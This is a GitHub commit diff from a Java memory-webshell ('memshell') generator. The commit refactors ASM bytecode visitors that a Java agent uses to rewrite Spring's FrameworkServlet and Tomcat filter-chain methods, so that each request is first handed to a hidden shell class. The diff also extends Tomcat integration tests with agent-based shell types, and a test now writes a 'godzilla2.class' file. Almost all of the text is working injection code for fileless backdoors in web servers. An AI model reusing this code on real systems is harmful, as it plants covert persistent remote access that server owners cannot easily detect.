Skip to content

Commit bbfc2e1

Browse files
committed
fix
1 parent d73a696 commit bbfc2e1

File tree

17 files changed

+1027
-680
lines changed

17 files changed

+1027
-680
lines changed

generator/src/main/java/com/reajason/javaweb/memshell/packer/jar/AgentJarPacker.java

Lines changed: 0 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -5,7 +5,6 @@
55
import lombok.SneakyThrows;
66
import org.apache.commons.io.IOUtils;
77
import org.objectweb.asm.Opcodes;
8-
import org.objectweb.asm.commons.AdviceAdapter;
98

109
import java.io.ByteArrayOutputStream;
1110
import java.io.File;
@@ -55,7 +54,6 @@ private Manifest createManifest(String mainClass) {
5554
private void addDependencies(JarOutputStream targetJar, String relocatePrefix) {
5655
String baseName = Opcodes.class.getPackage().getName().replace('.', '/');
5756
addDependency(targetJar, Opcodes.class, baseName, relocatePrefix);
58-
addDependency(targetJar, AdviceAdapter.class, baseName, relocatePrefix);
5957
}
6058

6159
@SneakyThrows

generator/src/test/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainASMTest.java

Lines changed: 82 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -13,8 +13,6 @@
1313
import org.mockito.Mock;
1414
import org.mockito.junit.jupiter.MockitoExtension;
1515
import org.objectweb.asm.*;
16-
import org.objectweb.asm.commons.AdviceAdapter;
17-
import org.objectweb.asm.commons.Method;
1816

1917
import javax.servlet.FilterChain;
2018
import javax.servlet.ServletOutputStream;
@@ -46,30 +44,93 @@ public class CommandFilterChainASMTest {
4644

4745
Object instance;
4846

49-
public static class CustomMethodVisitor extends AdviceAdapter {
50-
private static final Method CUSTOM_EQUALS_CONSTRUCTOR = Method.getMethod("void <init> ()");
51-
private static final Method CUSTOM_EQUALS_METHOD = Method.getMethod("boolean equals (java.lang.Object)");
47+
@SuppressWarnings("all")
48+
public static class CustomMethodVisitor extends MethodVisitor {
5249
private final Type customEqualsType;
50+
private final Type[] argumentTypes;
51+
private final String className;
5352

54-
protected CustomMethodVisitor(MethodVisitor mv, int access, String name, String descriptor) {
55-
super(Opcodes.ASM9, mv, access, name, descriptor);
53+
protected CustomMethodVisitor(MethodVisitor mv, Type[] argTypes) {
54+
super(Opcodes.ASM9, mv);
55+
this.argumentTypes = argTypes;
5656
CommandFilterChain.paramName = "paramName";
57+
className = CommandFilterChain.class.getName();
5758
customEqualsType = Type.getObjectType(CommandFilterChain.class.getName().replace('.', '/'));
5859
}
5960

6061
@Override
61-
protected void onMethodEnter() {
62-
System.out.println("Enter CustomMethodVisitor");
62+
public void visitCode() {
6363
loadArgArray();
64-
newInstance(customEqualsType);
65-
dup();
66-
invokeConstructor(customEqualsType, CUSTOM_EQUALS_CONSTRUCTOR);
67-
swap();
68-
invokeVirtual(customEqualsType, CUSTOM_EQUALS_METHOD);
69-
Label skipReturnLabel = new Label();
70-
mv.visitJumpInsn(IFEQ, skipReturnLabel);
71-
mv.visitInsn(RETURN);
72-
mark(skipReturnLabel);
64+
Label tryStart = new Label();
65+
Label tryEnd = new Label();
66+
Label catchHandler = new Label();
67+
Label ifConditionFalse = new Label();
68+
Label skipCatchBlock = new Label();
69+
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
70+
71+
mv.visitLabel(tryStart);
72+
mv.visitLdcInsn(className);
73+
mv.visitInsn(Opcodes.ICONST_1);
74+
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
75+
"java/lang/ClassLoader",
76+
"getSystemClassLoader",
77+
"()Ljava/lang/ClassLoader;",
78+
false);
79+
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
80+
"java/lang/Class",
81+
"forName",
82+
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;",
83+
false);
84+
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
85+
"java/lang/Class",
86+
"newInstance",
87+
"()Ljava/lang/Object;",
88+
false);
89+
mv.visitInsn(Opcodes.SWAP);
90+
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
91+
"java/lang/Object",
92+
"equals",
93+
"(Ljava/lang/Object;)Z",
94+
false);
95+
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
96+
mv.visitInsn(Opcodes.RETURN);
97+
mv.visitLabel(ifConditionFalse);
98+
mv.visitLabel(tryEnd);
99+
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
100+
mv.visitLabel(catchHandler);
101+
mv.visitInsn(Opcodes.POP);
102+
mv.visitLabel(skipCatchBlock);
103+
}
104+
105+
public void loadArgArray() {
106+
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
107+
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
108+
for (int i = 0; i < argumentTypes.length; i++) {
109+
mv.visitInsn(Opcodes.DUP);
110+
push(i);
111+
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
112+
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
113+
}
114+
}
115+
116+
public void push(final int value) {
117+
if (value >= -1 && value <= 5) {
118+
mv.visitInsn(Opcodes.ICONST_0 + value);
119+
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
120+
mv.visitIntInsn(Opcodes.BIPUSH, value);
121+
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
122+
mv.visitIntInsn(Opcodes.SIPUSH, value);
123+
} else {
124+
mv.visitLdcInsn(new Integer(value));
125+
}
126+
}
127+
128+
private int getArgIndex(final int arg) {
129+
int index = 1;
130+
for (int i = 0; i < arg; i++) {
131+
index += argumentTypes[i].getSize();
132+
}
133+
return index;
73134
}
74135
}
75136

@@ -85,14 +146,15 @@ public MethodVisitor visitMethod(int access, String name, String descriptor,
85146
String signature, String[] exceptions) {
86147
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
87148
if ("doFilter".equals(name)) {
88-
return new CustomMethodVisitor(mv, access, name, descriptor);
149+
Type[] argTypes = Type.getArgumentTypes(descriptor);
150+
return new CustomMethodVisitor(mv, argTypes);
89151
}
90152
return mv;
91153
}
92154
};
93155
cr.accept(cv, ClassReader.EXPAND_FRAMES);
94156
byte[] bytes2 = ClassRenameUtils.renameClass(cw.toByteArray(), TestFilterChain.class.getName() + "Asm");
95-
// IOUtils.write(bytes2, new FileOutputStream(new File("godzilla2.class")));
157+
IOUtils.write(bytes2, new FileOutputStream(new File("godzilla2.class")));
96158
Class<?> clazz = ClassUtils.defineClass(bytes2);
97159
instance = spy(clazz.newInstance());
98160
}

integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -56,7 +56,10 @@ static Stream<Arguments> casesProvider() {
5656
List<String> supportedShellTypes = List.of(
5757
ShellType.FILTER,
5858
ShellType.LISTENER,
59-
ShellType.VALVE);
59+
ShellType.VALVE,
60+
ShellType.AGENT_FILTER_CHAIN,
61+
ShellType.CATALINA_AGENT_CONTEXT_VALVE
62+
);
6063
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
6164
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
6265
}

memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/injector/SpringWebMvcFrameworkServletAgentInjector.java

Lines changed: 77 additions & 55 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,7 @@
11
package com.reajason.javaweb.memshell.springwebmvc.injector;
22

3-
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentInjector;
43
import org.objectweb.asm.*;
5-
import org.objectweb.asm.commons.AdviceAdapter;
6-
import org.objectweb.asm.commons.Method;
74

8-
import java.io.ByteArrayOutputStream;
9-
import java.io.InputStream;
105
import java.lang.instrument.ClassFileTransformer;
116
import java.lang.instrument.Instrumentation;
127
import java.security.ProtectionDomain;
@@ -48,7 +43,6 @@ private static void launch(Instrumentation inst) throws Exception {
4843
public byte[] transform(final ClassLoader loader, String className, Class<?> classBeingRedefined,
4944
ProtectionDomain protectionDomain, byte[] bytes) {
5045
if (TARGET_CLASS.equals(className)) {
51-
defineTargetClass(loader);
5246
try {
5347
ClassReader cr = new ClassReader(bytes);
5448
ClassWriter cw = new ClassWriter(cr, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES) {
@@ -76,7 +70,8 @@ public MethodVisitor visitMethod(int access, String name, String descriptor,
7670
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
7771
if (TARGET_METHOD_NAME.equals(name)) {
7872
try {
79-
return new CustomMethodVisitor(mv, access, name, descriptor);
73+
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
74+
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
8075
} catch (Exception e) {
8176
e.printStackTrace();
8277
}
@@ -86,63 +81,90 @@ public MethodVisitor visitMethod(int access, String name, String descriptor,
8681
};
8782
}
8883

89-
@SuppressWarnings("all")
90-
public static class CustomMethodVisitor extends AdviceAdapter {
91-
private static final Method CUSTOM_EQUALS_CONSTRUCTOR = Method.getMethod("void <init> ()");
92-
private static final Method CUSTOM_EQUALS_METHOD = Method.getMethod("boolean equals (java.lang.Object)");
93-
private final Type customEqualsType;
94-
95-
protected CustomMethodVisitor(MethodVisitor mv, int access, String name, String descriptor) {
96-
super(Opcodes.ASM9, mv, access, name, descriptor);
97-
customEqualsType = Type.getObjectType(getClassName().replace('.', '/'));
84+
public static class AgentShellMethodVisitor extends MethodVisitor {
85+
private final Type[] argumentTypes;
86+
private final String className;
87+
88+
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
89+
super(Opcodes.ASM9, mv);
90+
this.argumentTypes = argTypes;
91+
this.className = className;
9892
}
9993

10094
@Override
101-
protected void onMethodEnter() {
95+
public void visitCode() {
10296
loadArgArray();
103-
newInstance(customEqualsType);
104-
dup();
105-
invokeConstructor(customEqualsType, CUSTOM_EQUALS_CONSTRUCTOR);
106-
swap();
107-
invokeVirtual(customEqualsType, CUSTOM_EQUALS_METHOD);
108-
Label skipReturnLabel = new Label();
109-
mv.visitJumpInsn(IFEQ, skipReturnLabel);
110-
mv.visitInsn(RETURN);
111-
mark(skipReturnLabel);
97+
Label tryStart = new Label();
98+
Label tryEnd = new Label();
99+
Label catchHandler = new Label();
100+
Label ifConditionFalse = new Label();
101+
Label skipCatchBlock = new Label();
102+
mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Throwable");
103+
104+
mv.visitLabel(tryStart);
105+
mv.visitLdcInsn(className);
106+
mv.visitInsn(Opcodes.ICONST_1);
107+
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
108+
"java/lang/ClassLoader",
109+
"getSystemClassLoader",
110+
"()Ljava/lang/ClassLoader;",
111+
false);
112+
mv.visitMethodInsn(Opcodes.INVOKESTATIC,
113+
"java/lang/Class",
114+
"forName",
115+
"(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;",
116+
false);
117+
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
118+
"java/lang/Class",
119+
"newInstance",
120+
"()Ljava/lang/Object;",
121+
false);
122+
mv.visitInsn(Opcodes.SWAP);
123+
mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL,
124+
"java/lang/Object",
125+
"equals",
126+
"(Ljava/lang/Object;)Z",
127+
false);
128+
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
129+
mv.visitInsn(Opcodes.RETURN);
130+
mv.visitLabel(ifConditionFalse);
131+
mv.visitLabel(tryEnd);
132+
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
133+
mv.visitLabel(catchHandler);
134+
mv.visitInsn(Opcodes.POP);
135+
mv.visitLabel(skipCatchBlock);
112136
}
113-
}
114137

115-
@SuppressWarnings("all")
116-
public void defineTargetClass(ClassLoader loader) {
117-
byte[] classBytecode = new byte[0];
118-
InputStream is = null;
119-
try {
120-
is = this.getClass().getClassLoader().getResourceAsStream(getClassName().replace('.', '/') + ".class");
121-
if (is == null) {
122-
return;
123-
}
124-
ByteArrayOutputStream baos = new ByteArrayOutputStream();
125-
byte[] buffer = new byte[1024];
126-
int len;
127-
while ((len = is.read(buffer)) != -1) {
128-
baos.write(buffer, 0, len);
138+
public void loadArgArray() {
139+
mv.visitIntInsn(Opcodes.SIPUSH, argumentTypes.length);
140+
mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object");
141+
for (int i = 0; i < argumentTypes.length; i++) {
142+
mv.visitInsn(Opcodes.DUP);
143+
push(i);
144+
mv.visitVarInsn(argumentTypes[i].getOpcode(Opcodes.ILOAD), getArgIndex(i));
145+
mv.visitInsn(Type.getType(Object.class).getOpcode(Opcodes.IASTORE));
129146
}
130-
classBytecode = baos.toByteArray();
131-
} catch (Exception ignored) {
132-
133-
} finally {
134-
if (is != null) {
135-
try {
136-
is.close();
137-
} catch (Exception ignored) {
138-
}
147+
}
148+
149+
@SuppressWarnings("all")
150+
public void push(final int value) {
151+
if (value >= -1 && value <= 5) {
152+
mv.visitInsn(Opcodes.ICONST_0 + value);
153+
} else if (value >= Byte.MIN_VALUE && value <= Byte.MAX_VALUE) {
154+
mv.visitIntInsn(Opcodes.BIPUSH, value);
155+
} else if (value >= Short.MIN_VALUE && value <= Short.MAX_VALUE) {
156+
mv.visitIntInsn(Opcodes.SIPUSH, value);
157+
} else {
158+
mv.visitLdcInsn(new Integer(value));
139159
}
140160
}
141-
try {
142-
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
143-
defineClass.setAccessible(true);
144-
defineClass.invoke(loader, classBytecode, 0, classBytecode.length);
145-
} catch (Exception ignored) {
161+
162+
private int getArgIndex(final int arg) {
163+
int index = 1;
164+
for (int i = 0; i < arg; i++) {
165+
index += argumentTypes[i].getSize();
166+
}
167+
return index;
146168
}
147169
}
148170
}

0 commit comments

Comments
 (0)